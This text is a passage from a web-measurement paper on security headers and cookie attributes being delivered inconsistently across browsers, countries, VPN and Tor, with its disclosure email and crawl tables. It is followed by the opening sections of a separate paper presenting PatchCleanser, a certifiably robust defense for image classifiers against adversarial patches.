tencies, this behavior might not be a problem in Chromium-
based browsers, because those browsers default to Lax in case
of a missing SameSite attribute. However, all Safari-based
browsers and Firefox still face the problem that cross-site at-
tacks such as CSRF are possible due to this misconfiguration.

Content Security Policy XSS mitigation as the original
use-case of CSP also faced inter-test inconsistencies in ten
cases. In general, if a site’s CSP alternates between a safe
policy and a trivially bypassable one based on some client
characteristics, an attacker can specifically target the affected
user population. Due to the (at the time of writing) porous
support for the ’strict-dynamic’ source-expression, some sites
had inter-test inconsistencies that only deployed a CSP with
this source-expression to clients that actually support it. Nu-
merous sites removed ’strict-dynamic’ from their CSP for all
Safari (and thus all iOS) clients. The problem here is that
https: is also present in the policy, i.e., clients without sup-
port for ’strict-dynamic’ would allow script inclusion from any
HTTPS host, which is insecure. Removing ’strict-dynamic’
is a bad practice, because the CSP design is backward com-
patible and unknown source-expressions are just ignored by
browsers. Importantly, Safari recently announced support for
’strict-dynamic’ and already supports it in its technology pre-
view [9], hence dropping ’strict-dynamic’ may unduly leave
Safari users unprotected. Other sites dropped their entire CSP
for XSS mitigation for all Safari clients, while again others
did not send a CSP at all for Android clients. One Web site
only deployed XSS mitigation to some countries (like Russia,
Spain, or Sweden), but did not deploy CSP for others (e.g.,
US, Pakistan, or South Africa).

CSP for framing control is also used inter-test inconsis-
tently across different clients (two sites) and geolocations (18
sites). For example, one site did not send a CSP controlling
framing via frame-ancestors to all iOS clients, leaving those
users unprotected against framing-based attacks.

Like for the case of intra-test inconsistent deployment of
CSP for TLS enforcement, the inter-test inconsistent deploy-
ment of this CSP feature does not have a security impact but
a functionality impact. However, while it is a randomly occur-
ring problem for the intra-test inconsistencies, the problem
deterministically occurs for parts of the user-base on 17 sites.

X-Frame-Options An inter-test inconsistent deployment of
X-Frame-Options exposes a part of the user base to framing-
based attacks. In seven out of 37 cases, this type of inconsis-
tency occurred due to specific operating systems or browsers
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are getting different configurations. Some sites deployed XFO
for desktop clients, but mobile browsers got no protection at
all, making them vulnerable to framing-based attacks. In other
cases specific browsers were excluded from the protection:
one site did not deploy XFO for Opera clients, while another
excluded Firefox browsers. This behavior was also present
against users of a specific operating system, as some sites
only gave XFO to non-iOS clients. In addition to that, 13 sites
(Onion) and 29 sites (VPN) decided to exclude specific ge-
olocations from the protection against framing based-attacks.

Strict Transport Security In case of inter-test inconsis-
tencies in HSTS it makes no difference if HSTS is disabled
(max-age=0) or not present because the affected clients/coun-
tries will deterministically get the same insecure configuration.
While cross-checking the inconsistent sites with the HSTS
preload list, we observed that only five out of the 35 inter-
inconsistent sites are actually preloaded.

There are eight Web sites that handle browsers differently.
For example, one site only gives enabled HSTS to desktop
clients but not to mobile clients, another does not send HSTS
to Firefox and Safari-based clients, which exposes parts of
the user-base to possible network attacks. In addition to that,
30 sites deploy HSTS inconsistently depending on the geolo-
cation. Another site deploys a proper HSTS for all countries
except for clients from India, which do not get an HSTS
header. Also, six sites have the inter-test inconsistent deploy-
ment of HSTS with/without the includeSubdomains directive.
One site, for example, deployed an HSTS header with the
directive for clients from some countries such as Hungary or
Ireland, but not for others such as Germany or Japan. Here
an attacker could abuse subdomains to attack the main do-
main (e.g., using subdomains to inject cookies into the parent
domain).

Reasons for Inter-Test Inconsistencies Inter-test inconsis-
tencies are naturally attributed to deterministic factors, how-
ever a few observations are interesting. In many cases flawed
User-Agent parsing or wrong handling of the parsed browser
information seem to be a problem. Surprisingly many inter-
test inconsistencies happened specifically for Firefox on iOS.
Therefore we tested this User-Agent in different parsing li-
braries. All of them showed Firefox with version 40 (released
August 11, 2015) as output for our Firefox iOS User-Agent
string. In the case of Firefox, the version numbers for the
iOS client are different from other operating systems, pos-
sibly due to the fact Firefox is based on WebKit instead of
Gecko on iOS, so the User-Agent is incorrectly recognized
as a legacy client. Notably, the Firefox iOS version number
recently jumped from 40.2 to 96.0 on January 18, 2022 [2].

Not only the version number of Firefox, but also the iOS
version number present in the User-Agent was the reason for
some of the inconsistencies. The User-Agent from an online

repository used in our crawler had an old iOS version num-
ber (12.1, October 2018). However, with the same Firefox
and WebKit version, but a newer iOS version (15.2, Decem-
ber 2021), these inconsistencies were not present, although
they are still concerning for a specific user population. In-
deed, users may not have control of their OS version due to
hardware restrictions.

Also, as mentioned in Section 6.3, some sites deliver a
CSP without the ’strict-dynamic’ expression to Safari-based
clients. During our notification campaign, a videotelephony
service confirmed that they are doing this because those
clients lack support for this CSP feature. In either case, none
of those special handling for browsers is actually neces-
sary; unknown cookie attributes and unknown CSP source-
expressions are simply ignored by browsers. Furthermore if
certain features are going to be supported in future release
(like ’strict-dynamic’ in Safari’s current Technology Preview),
the special handling for certain browsers might cause secu-
rity issues because the browser switches are not updated or
removed. This highlights that having browser switches for
security mechanisms is a dangerous practice, at least if the
provided level of security differs.

In case of network related inter-test inconsistencies, pos-
sible reasons are similar to those from the intra-test incon-
sistencies. If misconfigured origin servers are only used for
requests from specific countries, or if CDNs cache responses
for certain countries longer than for others, we can observe in-
consistent deployment of security mechanisms depending on
the geolocation. We detected three sites with different peer IP
adresses that seem to cause the issue, ten sites with different
cache-control header, and two with different x-cache. For
example, based on the x-cache header sent by one site we
hypothesize that for certain countries like France they have
a cache in place, because all requests from there produced a
cache hit, while other requests for example from Australia
only produces cache errors/misses.

6.4 Disclosure

Our findings imply that certain users of the sites under test
might be at risk; either because an attacker can target them
based on certain properties (e.g., their User-Agent) or can
opportunistically exploit the non-determinism of the server.
To enable site operators to fix the inconsistencies, but also to
gain knowledge about the root cause of the inconsistencies,
we attempted to disclose the issues to all sites using security@
and webmaster@ aliases. The email that we sent contained
information about our institutions and us, as well as a detailed
description of the individual inconsistent headers and how
they were collected. Also, we informed site operators that we
are interested in the reason for the inconsistency such that
we can better help others that face similar issues and offered
them our assistance and further information.

In total, we sent out 256 emails (see Appendix A for the
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template). For 197 domains, we received an email delivery
failed message. Notably, we sent the email to both aliases
(security@ and webmaster@), so we might have received a
failure message, although one of the two addresses received
our email. Research has shown that scaling up notifications
is a known problem [36, 38], also due to the low availability
of generic aliases [34]. In addition to that, only 25 out of
the 256 domains hosted a security.txt, with 7 of those
setting their contact email to security@. Thus, we only got
21 answers that were more than just an automatic response
message. Seven operators asked us to provide more details,
like the IP addresses of the servers that we connected to. One
of those even asked us to provide a demo video that shows the
inconsistency problem. In all cases, we were happy to provide
them with more detailed data in order to ease their search
for the reason behind the issue. Additional seven claimed
that they can confirm the issue and will get right back to
us, which nearly none of them have done so far. The other
seven answered us that they confirmed and fixed the issue or
explained to us that this is out of their control, e.g., because
they are not self-hosting their sites in some countries.

Many of those that answered instructed us to contact
HackerOne to report vulnerabilities. Notably, our message
did not include the word “vulnerability” or similar words like
“exploit”. Therefore, we answered those emails that we were
not interested in any bug bounty, because we only wanted to
help and raise attention for the inconsistent behavior such that
all clients can be secured consistently. Notably, none of the
notified parties answered that this issue is not present in their
option, which further strengthens our confidence in the results.
The previous Reasons for subsections have outlined some of
the answers from our disclosure campaign that we used to
reason about the inconsistencies in some of the case studies.
To increase remediation rates, we tested the problematic sites
again in May 2022. Here, we found that 184 still contained
the issues we attempted to disclose before. By manually inves-
tigating those sites, we were able to find 105 email addresses.
In this second round, only four of the manually curated email
addresses responded with a failure message.

7 Discussion

Here, we discuss limitations of the work and summarize the
security impact of our findings.

7.1 Limitations
Our analysis already shows that client characteristics play a
relevant role for Web application security, however it could
be improved along different directions. One limitation of our
study is the assumption that all the tested browsers implement
all the security mechanisms according to their official speci-
fications, which simplified the technical development. This
assumption is motivated by our focus on modern clients, yet

we are well aware that it is not entirely accurate, e.g., at the
time of writing Safari does not support the ’strict-dynamic’
source-expression of CSP Level 3 and browsers might suffer
from bugs (like all software), especially in corner cases. That
said, we manually vetted most of the detected security incon-
sistencies and we confirm that they are not subtle enough to
invalidate the general findings of our study due to our assump-
tion on browser behavior.

Another limitation of our work is the best-effort attribution
of the identified security inconsistencies. Discussing correla-
tion rather than causation is a common and accepted limitation
of Web measurements. We crawled each page multiple times
and formalized different definitions of consistency to mitigate
the effects of non-determinism, however we cannot entirely
rule out non-determinism, e.g., due to the presence of server-
side load balancers. It is possible that we collected five times
the same response from a Web page due to non-determinism,
rather than due to our testing conditions, however all the cases
explicitly named in Section 6 have been manually vetted and
confirmed as vulnerable.

7.2 Overall Security Impact

In general, an attacker can abuse the inter-test inconsistent
behavior of some sites to attack a certain part of the user base
by specifically targeting the less secured clients like specific
User-Agents or users from certain geolocations. For the intra-
test inconsistent sites, an opportunistic attacker can exploit
the non-determinism of the deployed security mechanism by
executing the attack multiple times. The individual advantage
of the attacker in both cases depend on the mechanism that is
deployed inconsistently.

For Cookies, a missing security attribute enables an at-
tacker to access the cookie via XSS (HttpOnly) or to steal the
cookie by downgrading the connection security and eaves-
dropping on the traffic (Secure). Also, missing or inconsis-
tently deployed SameSite Attributes allows attackers to suc-
cessfully execute cross-site attacks such as CSRF. In either
case, the difference between inter-test and intra-test inconsis-
tencies in the case of cookies does not change the attack itself
but only the way it can be successfully executed, because the
attacker either needs to target a certain group of users (inter),
or perform the attack multiple times (intra). Therefore the
user-base (or party of it) of more than 172 Web sites can be
attacked due to inconsistencies.

In case of an inconsistent Content Security Policy header
an attacker can perform XSS attacks (inconsistent XSS miti-
gation), framing-based attacks such as Clickjacking (incon-
sistent frame-ancestors), or perform network-based attacks
(inconsistent TLS enforcement). While the latter is only rele-
vant for functionality rather than security, because Chromium-
based browsers nowadays auto-upgrade mixed content [4]
and Firefox and Safari block it, the other two cases can indeed
be exploited by an attacker. Thus in case of inconsistent XSS
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mitigation and/or inconsistent framing control, the attacker
can exploit a certain group of users (inter), or try the attack
multiple times (intra) on 41 different Web sites.

Similar to the exploitability of inconsistent CSP frame-
ancestors, inconsistent deployment of the X-Frame-Options
header can lead to framing-based attacks such as Clickjack-
ing. Notably, however, XFO will be ignored by CSP Level
2 supporting browsers as soon as CSP frame-ancestors is
present. Still, only ten sites that showed inconsistencies in
XFO have deployed a CSP that restricts framing. Thus, the
users of 43 sites would still be exploitable by performing the
attack multiple times (intra), and a specific group of users
would be attackable on 17 sites.

For Strict Transport Security we have cases that lead
to different attacks depending on the type of inconsistency.
If, for example, the preload directive is deployed intra-test
inconsistently, an attacker can remove this site from the HSTS
preload list by asking for removal of the site multiple times
until the HSTS checker encounters the header without preload.
For inconsistencies in the includeSubDomains or inconsistent
max-age duration, an attacker can run network attacks against
a certain group of users (inter), or perform the attack multiple
times (intra) on 60 different Web sites. Notably, those sites
are only cases where the page similarity was considered, so
the number of potentially exploitable sites could be higher,
as HSTS protects the connection security between client and
server, and does not care about the actual content of that is
delivered via the server.

8 Conclusion

In this paper we investigated the inconsistent configuration
of client-side security mechanisms on top sites across differ-
ent client characteristics (inter-test) or even across multiple
communications of the same HTTP request (intra-test).

Our measurement has highlighted that client-side security
mechanisms are not equally delivered to all clients. Specifi-
cally, we found several sites in our dataset that returned dif-
ferent security policies with different semantics in at least
some of our tests. Our findings have implications in three
dimensions: first, Web users may receive different protection
based on subtle differences in their browser or vantage point
(inter-test inconsistencies). Second, intra-test inconsistencies
may enable an adversary to launch attacks in an opportunistic
fashion, given that the responses for the same request may
non-deterministically enforce different security. Acquiring
this knowledge is an easy task for the attacker, as they can
probe for non-deterministic behavior of the server as we did.
Third, our analysis has shown that prior measurements (see
related work in Section 2.2) may have inadvertently under- or
over-reported findings with respect to the deployment of secu-
rity mechanisms. Specifically, we identified intra-test security
inconsistencies in 127 sites and inter-test security inconsis-
tencies in 194 sites. Our semantics-based analysis gives clear

evidence of the potential security implications of the detected
inconsistencies, by identifying characteristics which might
enable exploitation, while being expressive enough to gen-
eralize over previous studies which only focus on missing
security headers [29].

To the best of our knowledge, we are the first to systemati-
cally study the problem of intra-test inconsistencies. Luckily,
dealing with such inconsistencies in Web security measure-
ments appears relatively easy: since most of them (80.4%) are
due to unexpectedly missing headers, it suffices to crawl the
same page multiple times to detect and fix these omissions.
Nevertheless, prior Web measurements on the impact of client
characteristics on Web security and privacy might have per-
formed an incorrect attribution of security downgrades, since
a single page access does not suffice to assess the impact of
non-determinism. Luckily, the number of sites suffering from
intra-test inconsistencies is not high enough to invalidate the
big picture drawn by prior studies.

Inter-test inconsistencies are likely less surprising to re-
searchers working on Web measurements, due to the pub-
lication of papers studying variations of the topic [17, 18].
However, inter-test inconsistencies are particularly concern-
ing to site operators, because they identify weak spots in
their security policies reported by our analysis. We observe
that inter-test inconsistencies across network access methods
might arise due to misconfigured origin server for specific
geolocations. Also, User-Agent sniffing leads to security in-
consistencies on 177 sites, which can all be attributed to site
operators. Notably, due to backwards compatibility of the
investigated security mechanisms, none of the individual re-
sponses for specific browsers were actually necessary.
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A Disclosure Email
Hello,

We are a team of security researchers from the CISPA Helmholtz
Center for Information Security located in Saarland, Germany
and Università Ca' Foscari Venezia, Italy. In our current
research project, we investigate inconsistent behavior in the
deployment of security headers for Web applications.

↪→
↪→
↪→
↪→

For that, we have visited your site through different vantage
points (VPN and Tor) as well as with different configurations
(User-Agents and Accept-Language request headers).

↪→
↪→

In our automated tests, we detected both non-deterministic
differences (e.g., we received different levels of security
even with the same user agent) or those differences which
seemed related to the vantage point or configuration.

↪→
↪→
↪→

We would like to raise your attention to one of those
inconsistencies that occurred on <DOMAIN>:↪→

<DETAILS_ABOUT_INCONSISTENCY>

We would appreciate if you can check the reason for the issue,
address it to ensure consistent security, and also let us know
about what such a reason might have been, since this will allow
us to better help others in the future.

↪→
↪→
↪→

If you have any questions or need further information, please do
not hesitate to contact us by answering this email.↪→

B Overview of Additional Crawls

Our confirmation crawls offer two additional insights: on the
stability of inter-test inconsistent sites and on the instability
of the intra-test inconsistent cases. The data, which is shown
in the following tables, highlights that even 12 days after our
original crawl, we could still detect 194 inter-test inconsis-
tent sites (see Table 6). Intersecting the sites with intra-test
inconsistencies, however, shows that the numbers seemingly
decline (through 100 sites down to 96). This is to be expected,
as we are measuring non-deterministic behavior. However, if
we take the union of all sites which had at least one intra-test
inconsistency across any of our crawls, this sums up to 210
(see Table 5) sites instead of only 127. This likely means that
the actual dangers of non-deterministic header deployment is
more severe than what we are able to measure through our
limited number of observations.

Mechanism Usage # Sites w/ intra-test inconsistencies
UA Lang. VPN Tor Any

Content Security Policy 2,029 20 16 42 32 50
- for XSS mitigation 364 1 - 3 1 4
- for framing control 1,313 11 10 23 17 28
- for TLS enforcement 673 12 10 23 16 25

X-Frame-Options 5,751 30 30 64 39 74

Strict-Transport-Security 4,607 27 22 49 50 80
w/o page similarity* 4,607 80 57 365 947 1,152

Cookie Security 3,975 22 16 26 28 33
- Secure attribute 3,009 9 8 13 13 17
- SameSite attribute 812 13 8 13 17 18
- HttpOnly attribute 3,196 2 - 2 2 3

Any 8,237 90 73 163 135 210

Table 5: Union of all intra-test inconsistencies snapshots.
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Mechanism Usage # Sites w/ intra-test inconsistencies # Sites w/ inter-test inconsistencies # Sites w/ only inter-test inconsistencies
UA Lang. VPN Tor Any UA Lang. VPN Tor Any UA Lang. VPN Tor Any

Intersection of January 2 and January 6

Content Security Policy 1,987 7 4 27 18 29 15 - 25 15 43 15 - 8 4 27
- for XSS mitigation 357 1 - - 1 2 9 - 1 1 10 9 - 1 - 10
- for framing control 1,281 3 3 14 7 14 2 - 13 5 17 2 - 6 2 10
- for TLS enforcement 659 4 1 16 11 17 4 - 11 9 16 4 - 1 2 7

X-Frame-Options 5,662 15 13 35 17 44 7 - 22 7 30 7 - 7 2 15

Strict-Transport-Security 4,553 13 12 23 17 30 8 - 17 9 28 8 - 9 3 19
w/o page similarity - 37 23 75 322 394 18 2 515 145 583 17 2 489 27 520
- preload 918 3 3 6 6 10 - - 8 3 9 - - 6 - 6↰

w/o page similarity - 5 4 12 59 67 1 1 115 29 129 1 1 109 4 112

Cookie Security 3,836 9 7 10 11 15 147 1 9 4 158 147 1 8 1 156
- Secure attribute 2,907 4 2 5 6 8 142 - 6 3 148 142 - 6 1 148
- SameSite attribute 777 5 5 5 5 7 5 1 3 1 10 5 1 2 - 8
- HttpOnly attribute 3,069 - - 1 1 2 2 - 2 1 4 2 - 2 - 4

Any 8,145 39 31 86 59 100 174 1 64 30 244 172 1 26 8 191

Intersection of January 2 and January 10

Content Security Policy 1,986 9 4 27 18 30 15 - 26 16 43 15 - 10 4 29
- for XSS mitigation 354 - - - 1 2 9 - 1 1 10 9 - 1 - 10
- for framing control 1,285 5 3 15 8 15 2 - 14 5 18 2 - 7 1 10
- for TLS enforcement 658 5 1 16 10 18 4 - 11 10 15 4 - 2 3 9

X-Frame-Options 5,654 14 12 35 19 43 7 - 20 12 30 7 - 6 5 17

Strict-Transport-Security 4,549 12 12 21 16 30 8 - 17 9 27 8 - 10 4 20
w/o page similarity - 32 24 77 370 443 18 2 512 139 573 17 2 480 18 503
- preload 914 2 3 5 5 9 - - 8 4 9 - - 6 1 7↰

w/o page similarity - 4 4 11 71 81 1 1 114 28 130 1 1 108 3 112

Cookie Security 3,841 10 8 11 10 16 147 1 10 4 159 146 1 7 1 154
- Secure attribute 2,914 4 3 5 5 8 141 - 6 3 147 141 - 5 1 146
- SameSite attribute 781 5 5 5 5 7 6 1 4 1 12 6 1 2 - 9
- HttpOnly attribute 3,075 1 - 2 1 3 2 - 2 1 4 2 - 2 - 4

Any 8,142 39 30 86 58 100 174 1 66 35 244 173 1 29 12 194

Intersection of January 2 and January 14

Content Security Policy 1,985 8 5 26 20 31 15 - 26 16 43 15 - 10 4 29
- for XSS mitigation 359 - - - 1 1 9 - 1 1 10 9 - 1 - 10
- for framing control 1,278 5 2 15 8 16 2 - 13 5 17 2 - 6 2 10
- for TLS enforcement 659 4 3 15 12 18 4 - 12 10 16 4 - 3 2 9

X-Frame-Options 5,654 14 8 32 18 38 6 - 18 11 26 6 - 7 5 15

Strict-Transport-Security 4,548 12 10 19 17 26 7 - 15 7 24 7 - 11 2 19
w/o page similarity - 33 22 65 369 424 17 2 535 136 595 16 2 512 20 535
- preload 913 3 2 5 6 9 - - 8 4 9 - - 6 - 6↰

w/o page similarity - 5 5 10 66 73 1 1 119 29 131 1 1 114 2 116

Cookie Security 3,825 10 9 11 11 16 148 1 11 4 161 147 1 9 1 157
- Secure attribute 2,897 4 4 5 6 8 143 - 8 3 151 143 - 7 1 150
- SameSite attribute 778 5 5 5 5 7 5 1 3 1 10 5 1 2 - 8
- HttpOnly attribute 3,066 1 - 2 1 3 2 - 2 1 4 2 - 2 - 4

Any 8,135 38 27 79 61 96 174 1 61 33 239 173 1 31 10 194

Table 6: Overview of overlap with additional snapshots of our analysis
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Abstract

The adversarial patch attack against image classification mod-
els aims to inject adversarially crafted pixels within a re-
stricted image region (i.e., a patch) for inducing model mis-
classification. This attack can be realized in the physical world
by printing and attaching the patch to the victim object; thus,
it imposes a real-world threat to computer vision systems. To
counter this threat, we design PatchCleanser as a certifiably
robust defense against adversarial patches. In PatchCleanser,
we perform two rounds of pixel masking on the input image to
neutralize the effect of the adversarial patch. This image-space
operation makes PatchCleanser compatible with any state-of-
the-art image classifier for achieving high accuracy. Further-
more, we can prove that PatchCleanser will always predict
the correct class labels on certain images against any adaptive
white-box attacker within our threat model, achieving certified
robustness. We extensively evaluate PatchCleanser on the Im-
ageNet, ImageNette, and CIFAR-10 datasets and demonstrate
that our defense achieves similar clean accuracy as state-of-
the-art classification models and also significantly improves
certified robustness from prior works. Remarkably, Patch-
Cleanser achieves 83.9% top-1 clean accuracy and 62.1% top-
1 certified robust accuracy against a 2%-pixel square patch
anywhere on the image for the 1000-class ImageNet dataset.1

1 Introduction

The adversarial patch attack [4, 21, 60] against image clas-
sification models aims to induce test-time misclassification.
A patch attacker injects adversarially crafted pixels within a
localized and restricted region (i.e., a patch) and can realize a
physical-world attack by printing and attaching the patch to
the victim object. The physically realizable nature of patch
attacks imposes a significant threat to real-world computer
vision systems.

1Our source code is available at https://github.com/
inspire-group/PatchCleanser.

To secure the deployment of critical computer vision sys-
tems, there has been an active research thread on certifiably ro-
bust defenses against adversarial patches [7,25,27,33,55,61].
These defenses aim to provide a certifiable guarantee on mak-
ing correct predictions on certain images, even in the pres-
ence of an adaptive white-box attacker. This strong robustness
property provides a pathway towards ending the arms race
between attackers and defenders.

Limitation of prior works: the dependence on specific
model architectures. While prior works have made signifi-
cant contributions to certifiable robustness, their defense per-
formance is hindered by their dependence on specific model
architectures. The most common architecture constraint of
state-of-the-art certifiably robust defenses against patch at-
tacks [25, 27, 33, 55, 61] is the dependence on small recep-
tive fields (receptive field is the region of the input image
that an extracted feature is looking at, or affected by). The
small receptive field bounds the number of features that can
be corrupted by the adversarial patch but also limits the in-
formation received by each feature. As a result, defenses
with small receptive fields are limited in their classifica-
tion accuracy: for example, the best top-1 clean accuracy
on ImageNet [11] achieved by prior certifiably robust de-
fenses is around 55% [27, 55] while state-of-the-art unde-
fended classification models can attain an accuracy of 80%-
90% [13,22,48,52]. The poor clean accuracy discourages the
real-world deployment of proposed defenses and also limits
the achievable robustness (since the robust accuracy can be
no higher than the clean accuracy).2

Limitation of prior works: abstention from predictions.
Minority Reports (MR) [30] is the only certifiably robust de-
fense with no assumption on the model architecture; however,
it suffers from a weaker security guarantee of being able to
only detect a patch attack (i.e., alert when an attack is de-

2Chiang et al. [7] proposed the first certifiably robust defense against
adversarial patches via Interval Bound Propagation [16, 34]. This defense
does not rely on small receptive fields but requires extremely expensive
model training. As a result, it is only applicable to small classification models
(with limited performance) and low-resolution images.
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Figure 1: Overview of double-masking defense. The defense applies masks to the input image and evaluates model prediction
on every masked image. Clean image: all one-mask predictions typically agree on the correct label (“dog"), our defense outputs
the agreed prediction. Adversarial image: one-mask predictions have a disagreement; we aim to recover the benign prediction.
We first categorize all one-mask predictions into the majority prediction (the one with the highest prediction label occurrence; the
label “cat" in this example) and disagreer predictions (the ones that disagree with the majority; the labels “dog" and “fox"). For
every mask that leads to a disagreer prediction, we add a set of second masks and evaluate two-mask predictions. If all two-mask
predictions agree with this one-mask disagreer, we output its prediction label (the label “dog"; illustrated in the upper row of the
second-round masking); otherwise, we discard it (the label “fox"; in the lower row of the second-round masking).

tected). As a result, an attacker can force the model to always
alert and abstain from making a prediction. The inability of
a model to make a prediction can compromise functionality
in applications where human fallback is unavailable (e.g.,
level-5 autonomous vehicles without human drivers).

PatchCleanser: architecture-agnostic certifiably ro-
bust image classification (without abstention). In order to
overcome the limitations of prior works, we propose Patch-
Cleanser as a certifiably robust image classification (without
any abstention) defense that is compatible with any image
classifier. The high-level idea of PatchCleanser is to robustly
remove/mask all adversarial pixels on the input image so that
we can obtain accurate predictions (on the masked images)
from any state-of-the-art image classifier.

However, the key question is: How can we mask out the
patch if the patch location is unknown? An intuitive idea is
to place a mask at all possible image locations and evaluate
model predictions on every masked image. If the mask is large
enough, then at least one masked image is benign (i.e., no
adversarial pixels) and is likely to give a correct prediction (a
similar intuition is used in MR for attack detection [30]). Un-
fortunately, despite the existence of one benign (and usually
correct) masked prediction, it is challenging to robustly dis-
tinguish this benign prediction from other masked predictions
that can be adversarially manipulated by an adaptive attacker.
To solve this challenge, we propose a double-masking algo-
rithm that achieves certifiable robustness.

We provide a defense overview in Figure 1. The double-

masking algorithm involves two rounds of pixel masking.
In the first round of masking (left of the figure), we apply
every mask from a mask set to the input image and evalu-
ate model predictions on one-masked images. The mask set
is constructed in a way that at least one mask can remove
the entire patch (regardless of the patch location) and give
a benign (and usually correct) masked prediction. When the
algorithm operates on a clean image, all one-mask predictions
usually reach a unanimous agreement, and PatchCleanser will
output the agreed label (top of Figure 1). On the other hand,
for an adversarial image, since at least one mask can remove
the patch and recover the benign prediction, we will see a
disagreement between the benign prediction and malicious
predictions (left bottom of Figure 1). To robustly identify the
benign one-mask prediction, we perform a second round of
masking: we apply a set of second masks to every one-masked
image and use inconsistencies in model predictions on a set
of two-masked images to filter out all malicious one-mask pre-
dictions (right of the figure). We will present the details of our
double-masking defense in Section 3.2 and demonstrate that
it provides certifiable robustness for certain images against
any patch attacker within our threat model in Section 3.3.

Evaluation: state-of-the-art clean accuracy and certi-
fied robust accuracy. We instantiate PatchCleanser with
three representative state-of-the-art architectures for image
classification: ResNet [19], Vision Transformer (ViT) [13],
and ResMLP [48]. We evaluate our defense performance
on three image datasets: ImageNet [11], ImageNette [14],
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Figure 2: ImageNet clean and certified robust accuracy of
PatchCleanser and prior defenses [25,33,55,61]; the certified
robust accuracy is evaluated against a 2%-pixel square patch.

CIFAR-10 [23]. We demonstrate that PatchCleanser achieves
state-of-the-art (clean) classification accuracy and also greatly
improves the certified robust accuracy from prior works [7,
25,33,55,61]. In Figure 2, we plot the clean accuracy and cer-
tified robust accuracy of different defenses on the ImageNet
dataset [11] to visualize our significant performance improve-
ments. Our contributions can be summarized as follows:

• We present PatchCleanser’s double-masking defense that
is compatible with any image classifier to mitigate the
threat of adversarial patch attacks.

• We formally prove the certifiable robustness of Patch-
Cleanser for certain images against any adaptive white-
box attacker within our threat model.

• We evaluate PatchCleanser on three state-of-the-art clas-
sification models and three benchmark datasets and
demonstrate the significant improvements in clean accu-
racy and certified robust accuracy (e.g., Figure 2).

2 Problem Formulation

In this section, we formulate image classification models,
attack threat models, and our defense objectives.

2.1 Image Classification Model

In this paper, we focus on the image classification problem.
We use X ⊂ [0,1]W×H×C to denote the image space, where
each image has width W , height H, number of channels C,
and the pixels are re-scaled to [0,1]. We further denote the
label space as Y . An image classification model is denoted as
F : X → Y , which takes an image x ∈ X as input and predicts
the class label y ∈ Y .

We do not make any assumption on the architecture of
the image classification model F. Our defense is compatible
with any popular model such as ResNet [19], Vision Trans-
former [13], and ResMLP [48].

2.2 Threat Model
Attack objective. We focus on test-time evasion attacks.
Given a model F, an image x, and its true class label y, the
attacker aims to find an image x′ ∈ A(x) ⊂ X satisfying a
constraint A such that F(x′) 6= y. The constraint A is defined
by the attacker’s threat model, which we discuss next.

Attacker capability. The patch attacker has arbitrary con-
trol over the image pixels in a restricted region, and this
region can be anywhere on the image. Formally, we use a
binary tensor r ∈ {0,1}W×H to represent the restricted re-
gion, where the pixels within the region are set to 0 and
others are set to 1. We further use R to denote a set of re-
gions r (i.e., a set of patches at different locations). Then,
we can express the patch attacker’s constraint set AR (x) as
{r� x+(1− r)� x′ | x,x′ ∈ X ,r ∈ R }, where � refers to
the element-wise multiplication operator. When clear from
the context, we drop R and use A instead of AR .

An open research question: one single square patch at
any image location. In this paper, we primarily focus on a
popular open research question where r represents one square
region that can be anywhere on the image and the defender
has a conservative estimation of the patch size.3 This enables
a performance comparison with prior works that also focus on
this setting [7, 25, 33, 55, 61] (Section 4). Moreover, we note
that designing high-performance certifiably robust defenses
under this setting is extremely challenging due to attacker’s
arbitrary control over the patch location and patch content as
well as full knowledge of the defense setup.

Flexibility of PatchCleanser. Nevertheless, our defense
design is general and can be easily adapted for even stronger
attackers. In addition to evaluating our defense under the
setting of one single square patch in Section 4, we also quan-
titatively analyze our defense against attackers who can use
a set of different patch shapes (e.g., all possible rectangle
shapes covering a certain area at any image location) and who
can apply multiple patches (e.g., two patches at any image
location) in Section 5.1.

2.3 Defense Objective
We design PatchCleanser with three major objectives.

Robust classification. We aim to build a defended model
D for robust classification. That is, we want to have D(x′) =
D(x) = y for a clean data point (x,y) ∈ X ×Y and any ad-
versarial example x′ ∈ A(x). Note that we aim to recover the
correct prediction without any abstention, which is harder
than merely detecting an attack (e.g., Minority Reports [30]).

Certifiable robustness. We aim to design defenses with
certifiable robustness [7, 25, 33, 55, 61]: given a clean data
point (x,y), the defended model can always make a correct

3We note that similar assumptions on defender’s knowledge are also
commonly used in defenses against conventional global Lp perturbations. For
example, verifiably robust network training [16,34] and empirical adversarial
training [15, 29] need to know the norm and magnitude of the perturbations.
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prediction for any adversarial example within the threat model,
i.e., D(x′) = D(x) = y, ∀ x′ ∈ A(x). We will design a robust-
ness certification procedure, which takes a clean data point
(x,y) and threat model A as inputs, to check if the robustness
can be certified. The certification procedure should account
for all possible attackers within the threat model A , who could
have full knowledge of our defense and full access to our
model parameters. We note that the certification provides a
provable lower bound for model robustness against adaptive
attacks. This is a significant improvement over traditional
empirical defenses [10, 18, 35, 36, 40, 54], whose robustness
could be undermined by an adaptive attacker.

We note that we only discuss robustness certification for
labeled images because the certification procedure needs
ground-truth labels to check the correctness of model pre-
dictions. In our evaluation, we apply our certification proce-
dure to labeled test sets and calculate the fraction of certified
images, termed as certified robust accuracy, as our robust-
ness metric. This accuracy indicates the estimated robustness
(against the strongest adaptive attacks) when we deploy the
defense; we do not aim to guarantee robustness/correctness
for individual images in the wild.

Compatibility with any model architecture. As dis-
cussed in Section 1, prior works [7,25,33,55,61] on certifiably
robust image classification suffer from their dependence on
the model architecture (e.g., small receptive fields). Such de-
pendence limits the model performance and hinders the prac-
tical deployment of the defense. In PatchCleanser, we aim to
design a defense that is compatible with any state-of-the-art
model architecture to achieve high defense performance (re-
call Figure 2) and benefit from any advancement in image
classification research.

3 PatchCleanser Design

In this section, we introduce our PatchCleanser defense, which
is agnostic to model architectures and achieves certifiable ro-
bustness. PatchCleanser performs two rounds of pixel mask-
ing (i.e., double-masking) on the input image to neutralize the
effect of the adversarial patch (without knowing the location
and content of the patch). We present our formulation of pixel
masks in Section 3.1 and then discuss the details of double-
masking algorithm in Section 3.2. We prove the robustness of
our double-masking defense for certain images in Section 3.3.
Finally, we discuss implementation details and present an
end-to-end PatchCleanser defense pipeline in Section 3.4. We
provide a summary of important notation in Table 1.

3.1 Pixel Mask Set
PatchCleanser aims to mask out the entire patch on the image
and obtain accurate predictions from any state-of-the-art clas-
sification model. In this subsection, we introduce the concept
of a mask set used in our masking operations.

Table 1: Summary of important notation
Notation Description Notation Description

F Undefended model p̄, p̄0× p̄1 Estimated patch size
x ∈ X Input image p, p0× p1 Actual patch size
